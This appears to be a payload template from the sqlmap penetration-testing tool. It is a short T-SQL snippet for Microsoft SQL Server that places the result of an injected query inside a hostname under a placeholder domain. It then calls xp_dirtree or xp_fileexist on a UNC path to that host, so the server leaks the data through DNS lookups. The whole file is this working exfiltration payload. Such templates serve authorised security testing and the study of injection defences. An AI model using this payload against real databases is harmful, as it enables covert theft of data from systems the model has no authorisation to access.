sqlmap/procs/mssqlserver/dns_request.txt
2012-04-04 13:29:25 +00:00

5 lines
223 B
Plaintext

DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\' + @host + '\%PREFIX%%SUFFIX%"')
# or EXEC('master..xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"')